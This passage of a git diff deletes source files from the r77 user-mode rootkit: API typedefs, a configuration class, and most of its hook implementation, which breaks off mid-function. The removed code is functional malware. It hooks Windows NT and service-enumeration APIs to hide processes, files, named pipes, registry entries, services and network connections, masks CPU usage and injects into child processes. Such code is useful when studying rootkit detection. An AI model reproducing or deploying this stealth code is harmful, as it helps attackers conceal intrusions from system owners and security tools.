*ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); - typedef BOOL(WINAPI *ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); - typedef NTSTATUS(NTAPI *NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); - typedef NTSTATUS(NTAPI *NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); - typedef NTSTATUS(NTAPI *NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); - typedef NTSTATUS(NTAPI *RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); - typedef NTSTATUS(NTAPI *RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); - typedef DWORD(NTAPI *NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); - typedef HMODULE(WINAPI *LOADLIBRARYA)(LPCSTR fileName); - typedef FARPROC(WINAPI *GETPROCADDRESS)(HMODULE module, LPCSTR function); - typedef LPVOID(WINAPI *VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect); - typedef BOOL(WINAPI *DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved); -} \ No newline at end of file diff --git a/src/r77/Config.h b/src/r77/Config.h deleted file mode 100644 index cdfacb5..0000000 --- a/src/r77/Config.h +++ /dev/null @@ -1,93 +0,0 @@ -/// -/// Global configuration system for r77. -/// -class Config -{ -private: - static HANDLE Thread; - static PR77_CONFIG Configuration; - - static DWORD WINAPI UpdateThread(LPVOID parameter); -public: - /// - /// Initializes the configuration system. - /// - static void Initialize(); - /// - /// Uninitializes the configuration system. - /// - static void Shutdown(); - - /// - /// Determines whether a process should be hidden based on a specific process ID. - /// - /// The process ID to check. - /// - /// true, if the process with the specified ID should be hidden; - /// otherwise, false. - /// - static bool IsProcessIdHidden(DWORD processId); - /// - /// Determines whether a process should be hidden based on a specific name. - /// - /// The process name to check. - /// - /// true, if the process with the specified name should be hidden; - /// otherwise, false. - /// - static bool IsProcessNameHidden(LPCWSTR name); - /// - /// Determines whether a process should be hidden based on a specific name. - /// - /// The process name to check. - /// - /// true, if the process with the specified name should be hidden; - /// otherwise, false. - /// - static bool IsProcessNameHidden(UNICODE_STRING name); - /// - /// Determines whether a file or directory should be hidden based on its full path. - /// - /// The full path to check. - /// - /// true, if the file or directory with the specified full path should be hidden; - /// otherwise, false. - /// - static bool IsPathHidden(LPCWSTR path); - /// - /// Determines whether a service should be hidden based on a specific name. - /// - /// The service name to check. - /// - /// true, if the service with the specified name should be hidden; - /// otherwise, false. - /// - static bool IsServiceNameHidden(LPCWSTR name); - /// - /// Determines whether a local TCP port should be hidden. - /// - /// The TCP port to check. - /// - /// true, if the local TCP port should be hidden; - /// otherwise, false. - /// - static bool IsTcpLocalPortHidden(USHORT port); - /// - /// Determines whether a remote TCP port should be hidden. - /// - /// The TCP port to check. - /// - /// true, if the remote TCP port should be hidden; - /// otherwise, false. - /// - static bool IsTcpRemotePortHidden(USHORT port); - /// - /// Determines whether a UDP port should be hidden. - /// - /// The UDP port to check. - /// - /// true, if the UDP port should be hidden; - /// otherwise, false. - /// - static bool IsUdpPortHidden(USHORT port); -}; \ No newline at end of file diff --git a/src/r77/Hooks.cpp b/src/r77/Hooks.cpp deleted file mode 100644 index 89cddb6..0000000 --- a/src/r77/Hooks.cpp +++ /dev/null @@ -1,661 +0,0 @@ -#include "r77.h" - -bool Hooks::IsInitialized = false; - -nt::NTQUERYSYSTEMINFORMATION Hooks::OriginalNtQuerySystemInformation = NULL; -nt::NTRESUMETHREAD Hooks::OriginalNtResumeThread = NULL; -nt::NTQUERYDIRECTORYFILE Hooks::OriginalNtQueryDirectoryFile = NULL; -nt::NTQUERYDIRECTORYFILEEX Hooks::OriginalNtQueryDirectoryFileEx = NULL; -nt::NTENUMERATEKEY Hooks::OriginalNtEnumerateKey = NULL; -nt::NTENUMERATEVALUEKEY Hooks::OriginalNtEnumerateValueKey = NULL; -nt::ENUMSERVICEGROUPW Hooks::OriginalEnumServiceGroupW = NULL; -nt::ENUMSERVICESSTATUSEXW Hooks::OriginalEnumServicesStatusExW = NULL; -nt::ENUMSERVICESSTATUSEXW Hooks::OriginalEnumServicesStatusExW2 = NULL; -nt::NTDEVICEIOCONTROLFILE Hooks::OriginalNtDeviceIoControlFile = NULL; - -void Hooks::Initialize() -{ - if (!IsInitialized) - { - IsInitialized = true; - - DetourTransactionBegin(); - DetourUpdateThread(GetCurrentThread()); - InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); - InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread); - InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); - InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); - InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey); - InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); - InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW); - InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); - InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); - InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); - DetourTransactionCommit(); - - // Usually, ntdll.dll should be the only DLL to hook. - // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected. - // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC. There is no longer one single syscall wrapper function to hook, but multiple higher level functions. - // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there. - } -} -void Hooks::Shutdown() -{ - if (IsInitialized) - { - IsInitialized = false; - - DetourTransactionBegin(); - DetourUpdateThread(GetCurrentThread()); - UninstallHook(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); - UninstallHook(OriginalNtResumeThread, HookedNtResumeThread); - UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); - UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); - UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey); - UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); - UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW); - UninstallHook(OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); - UninstallHook(OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); - UninstallHook(OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); - DetourTransactionCommit(); - } -} - -void Hooks::InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction) -{ - *originalFunction = GetFunction(dll, function); - if (*originalFunction) DetourAttach(originalFunction, hookedFunction); -} -void Hooks::UninstallHook(LPVOID originalFunction, LPVOID hookedFunction) -{ - if (originalFunction && hookedFunction) DetourDetach(&originalFunction, hookedFunction); -} - -NTSTATUS NTAPI Hooks::HookedNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength) -{ - // returnLength is important, but it may be NULL, so wrap this value. - ULONG newReturnLength; - NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength); - if (returnLength) *returnLength = newReturnLength; - - if (NT_SUCCESS(status)) - { - // Hide processes - if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessInformation) - { - // Accumulate CPU usage of hidden processes. - LARGE_INTEGER hiddenKernelTime = { 0 }; - LARGE_INTEGER hiddenUserTime = { 0 }; - LONGLONG hiddenCycleTime = 0; - - for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) - { - if (Rootkit::HasPrefix(current->ImageName) || Config::IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || Config::IsProcessNameHidden(current->ImageName)) - { - hiddenKernelTime.QuadPart += current->KernelTime.QuadPart; - hiddenUserTime.QuadPart += current->UserTime.QuadPart; - hiddenCycleTime += current->CycleTime; - - if (previous) - { - if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset; - else previous->NextEntryOffset = 0; - } - else - { - if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset; - else systemInformation = NULL; - } - } - else - { - previous = current; - } - - if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); - else current = NULL; - } - - // Add CPU usage of hidden processes to the System Idle Process. - for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) - { - if (current->ProcessId == 0) - { - current->KernelTime.QuadPart += hiddenKernelTime.QuadPart; - current->UserTime.QuadPart += hiddenUserTime.QuadPart; - current->CycleTime += hiddenCycleTime; - break; - } - - previous = current; - - if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); - else current = NULL; - } - } - // Hide CPU usage - else if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessorPerformanceInformation) - { - // ProcessHacker graph per CPU - LARGE_INTEGER hiddenKernelTime = { 0 }; - LARGE_INTEGER hiddenUserTime = { 0 }; - if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL)) - { - ULONG numberOfProcessors = newReturnLength / sizeof(nt::SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION); - for (ULONG i = 0; i < numberOfProcessors; i++) - { - //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors - nt::PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((nt::PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i]; - performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors; - performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors; - performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors; - } - } - } - // Hide CPU usage - else if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessorIdleCycleTimeInformation) - { - // ProcessHacker graph for all CPU's - LONGLONG hiddenCycleTime = 0; - if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime)) - { - ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER); - for (ULONG i = 0; i < numberOfProcessors; i++) - { - ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors; - } - } - } - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtResumeThread(HANDLE thread, PULONG suspendCount) -{ - // Child process hooking: - // When a process is created, its parent process calls NtResumeThread to start the new process after process creation is completed. - // At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread should be called. - // To inject the process, a connection to the r77 service is performed through a named pipe. - // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed here. - - DWORD processId = GetProcessIdOfThread(thread); - if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child process - { - // This function returns, *after* injection is completed. - HookChildProcess(processId); - } - - return OriginalNtResumeThread(thread, suspendCount); -} -NTSTATUS NTAPI Hooks::HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan) -{ - NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); - - // Hide files, directories and named pipes - if (NT_SUCCESS(status) && (fileInformationClass == nt::FILE_INFORMATION_CLASS::FileDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileNamesInformation)) - { - LPVOID current = fileInformation; - LPVOID previous = NULL; - ULONG nextEntryOffset; - - WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; - WCHAR fileFileName[MAX_PATH + 1] = { 0 }; - WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; - - if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); - else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); - - do - { - nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); - - if (Rootkit::HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) - { - if (nextEntryOffset) - { - RtlCopyMemory - ( - current, - (LPBYTE)current + nextEntryOffset, - (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) - ); - continue; - } - else - { - if (current == fileInformation) status = STATUS_NO_MORE_FILES; - else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); - break; - } - } - - previous = current; - current = (LPBYTE)current + nextEntryOffset; - } - while (nextEntryOffset); - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName) -{ - NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); - - // Hide files, directories and named pipes - // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of NtQueryDirectoryFile. - if (NT_SUCCESS(status) && (fileInformationClass == nt::FILE_INFORMATION_CLASS::FileDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileNamesInformation)) - { - WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; - WCHAR fileFileName[MAX_PATH + 1] = { 0 }; - WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; - - if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); - else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); - - if (queryFlags & SL_RETURN_SINGLE_ENTRY) - { - // When returning a single entry, skip until the first item is found that is not hidden. - for (bool skip = Rootkit::HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = Rootkit::HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName)))) - { - status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); - if (status) break; - } - } - else - { - LPVOID current = fileInformation; - LPVOID previous = NULL; - ULONG nextEntryOffset; - - do - { - nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); - - if (Rootkit::HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) - { - if (nextEntryOffset) - { - RtlCopyMemory - ( - current, - (LPBYTE)current + nextEntryOffset, - (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) - ); - continue; - } - else - { - if (current == fileInformation) status = STATUS_NO_MORE_FILES; - else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); - break; - } - } - - previous = current; - current = (LPBYTE)current + nextEntryOffset; - } - while (nextEntryOffset); - } - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtEnumerateKey(HANDLE key, ULONG index, nt::KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength) -{ - NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength); - - // Implement hiding of registry keys by correcting the index in NtEnumerateKey. - if (status == ERROR_SUCCESS && (keyInformationClass == nt::KEY_INFORMATION_CLASS::KeyBasicInformation || keyInformationClass == nt::KEY_INFORMATION_CLASS::KeyNameInformation)) - { - for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) - { - status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength); - - if (!Rootkit::HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass))) - { - newIndex++; - } - } - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtEnumerateValueKey(HANDLE key, ULONG index, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength) -{ - NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); - - // Implement hiding of registry values by correcting the index in NtEnumerateValueKey. - if (status == ERROR_SUCCESS && (keyValueInformationClass == nt::KEY_VALUE_INFORMATION_CLASS::KeyValueBasicInformation || keyValueInformationClass == nt::KEY_VALUE_INFORMATION_CLASS::KeyValueFullInformation)) - { - for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) - { - status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); - - if (!Rootkit::HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass))) - { - newIndex++; - } - } - } - - return status; -} -BOOL WINAPI Hooks::HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved) -{ - // services.msc - BOOL result = OriginalEnumServiceGroupW(serviceManager, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, reserved); - - if (result && services && servicesReturned) - { - ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUSW, services, servicesReturned); - } - - return result; -} -BOOL WINAPI Hooks::HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) -{ - // TaskMgr (Windows 7), ProcessHacker - BOOL result = OriginalEnumServicesStatusExW(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); - - if (result && services && servicesReturned) - { - ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW, services, servicesReturned); - } - - return result; -} -BOOL WINAPI Hooks::HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) -{ - // TaskMgr (Windows 10 uses sechost.dll instead of advapi32.dll) - BOOL result = OriginalEnumServicesStatusExW2(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); - - if (result && services && servicesReturned) - { - ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW, services, servicesReturned); - } - - return result; -} -NTSTATUS NTAPI Hooks::HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength) -{ - NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength); - - if (NT_SUCCESS(status)) - { - // Hide TCP and UDP entries - if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(nt::NSI_PARAM)) - { - // Check, if the device is "\Device\Nsi" - BYTE deviceName[100]; - if (NT_SUCCESS(nt::NtQueryObject(fileHandle, nt::OBJECT_INFORMATION_CLASS::ObjectNameInformation, deviceName, 100, NULL)) && - !_wcsnicmp(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR))) - { - nt::PNSI_PARAM nsiParam = (nt::PNSI_PARAM)outputBuffer; - if (nsiParam->Entries && (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp || nsiParam->Type == nt::NSI_PARAM_TYPE::Udp)) - { - // The status and process table may be NULL and must be checked. - nt::PNSI_TCP_ENTRY tcpEntries = (nt::PNSI_TCP_ENTRY)nsiParam->Entries; - nt::PNSI_UDP_ENTRY udpEntries = (nt::PNSI_UDP_ENTRY)nsiParam->Entries; - nt::PNSI_STATUS_ENTRY statusEntries = (nt::PNSI_STATUS_ENTRY)nsiParam->StatusEntries; - nt::PNSI_PROCESS_ENTRY processEntries = (nt::PNSI_PROCESS_ENTRY)nsiParam->ProcessEntries; - - WCHAR processName[MAX_PATH + 1]; - - for (DWORD i = 0; i < nsiParam->Count; i++) - { - processName[0] = L'\0'; - - BOOL hidden = FALSE; - if (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp) - { - if (processEntries) GetProcessFileName(processEntries[i].TcpProcessId, FALSE, processName, MAX_PATH); - - hidden = - Config::IsTcpLocalPortHidden(_byteswap_ushort(tcpEntries[i].Local.Port)) || - Config::IsTcpRemotePortHidden(_byteswap_ushort(tcpEntries[i].Remote.Port)) || - processEntries && Config::IsProcessIdHidden(processEntries[i].TcpProcessId) || - Config::IsProcessNameHidden(processName) || - Rootkit::HasPrefix(processName); - } - else if (nsiParam->Type == nt::NSI_PARAM_TYPE::Udp) - { - if (processEntries) GetProcessFileName(processEntries[i].UdpProcessId, FALSE, processName, MAX_PATH); - - hidden = - Config::IsUdpPortHidden(_byteswap_ushort(udpEntries[i].Port)) || - processEntries && Config::IsProcessIdHidden(processEntries[i].UdpProcessId) || - Config::IsProcessNameHidden(processName) || - Rootkit::HasPrefix(processName); - } - - // If hidden, move all following entries up by one and decrease count. - if (hidden) - { - if (i < nsiParam->Count - 1) - { - if (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp) - { - RtlMoveMemory(&tcpEntries[i], &tcpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); - } - else if (nsiParam->Type == nt::NSI_PARAM_TYPE::Udp) - { - RtlMoveMemory(&udpEntries[i], &udpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); - } - - if (statusEntries) RtlMoveMemory(&statusEntries[i], &statusEntries[i + 1], (nsiParam->Count - i - 1) * sizeof(nt::NSI_STATUS_ENTRY)); - if (processEntries) RtlMoveMemory(&processEntries[i], &processEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize); - } - - nsiParam->Count--; - i--; - } - } - } - } - } - } - - return status; -} - -bool Hooks::GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime) -{ - // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation). - // Task managers call NtQuerySystemInformation(SystemProcessInformation) also, but not necessarily in a matching frequency. - - bool result = false; - LPBYTE systemInformation = new BYTE[1024 * 1024 * 2]; - ULONG returnLength; - - if (NT_SUCCESS(OriginalNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS::SystemProcessInformation, systemInformation, 1024 * 1024 * 2, &returnLength))) - { - if (hiddenKernelTime) hiddenKernelTime->QuadPart = 0; - if (hiddenUserTime) hiddenUserTime->QuadPart = 0; - if (hiddenCycleTime) *hiddenCycleTime = 0; - - for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) - { - if (Rootkit::HasPrefix(current->ImageName) || Config::IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || Config::IsProcessNameHidden(current->ImageName)) - { - if (hiddenKernelTime) hiddenKernelTime->QuadPart += current->KernelTime.QuadPart; - if (hiddenUserTime) hiddenUserTime->QuadPart += current->UserTime.QuadPart; - if (hiddenCycleTime) *hiddenCycleTime += current->CycleTime; - } - - previous = current; - - if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); - else current = NULL; - } - - result = true; - } - - delete[] systemInformation; - return result; -} -LPWSTR Hooks::CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName) -{ - // PathCombineW cannot be used with the directory name "\\.\pipe\". - if (!lstrcmpiW(directoryName, L"\\\\.\\pipe\\")) - { - lstrcpyW(result, directoryName); - lstrcatW(result, fileName); - return result; - } - else - { - return PathCombineW(result, directoryName, fileName); - } -} -LPWSTR Hooks::FileInformationGetName(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name) -{ - PWCHAR fileName = NULL; - ULONG fileNameLength = 0; - - switch (fileInformationClass) - { - case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation: - fileName = ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation: - fileName = ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation: - fileName = ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation: - fileName = ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation: - fileName = ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileNamesInformation: - fileName = ((nt::PFILE_NAMES_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_NAMES_INFORMATION)fileInformation)->FileNameLength; - break; - } - - if (fileName && fileNameLength > 0) - { - wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR)); - name[fileNameLength / sizeof(WCHAR)] = L'\0'; - 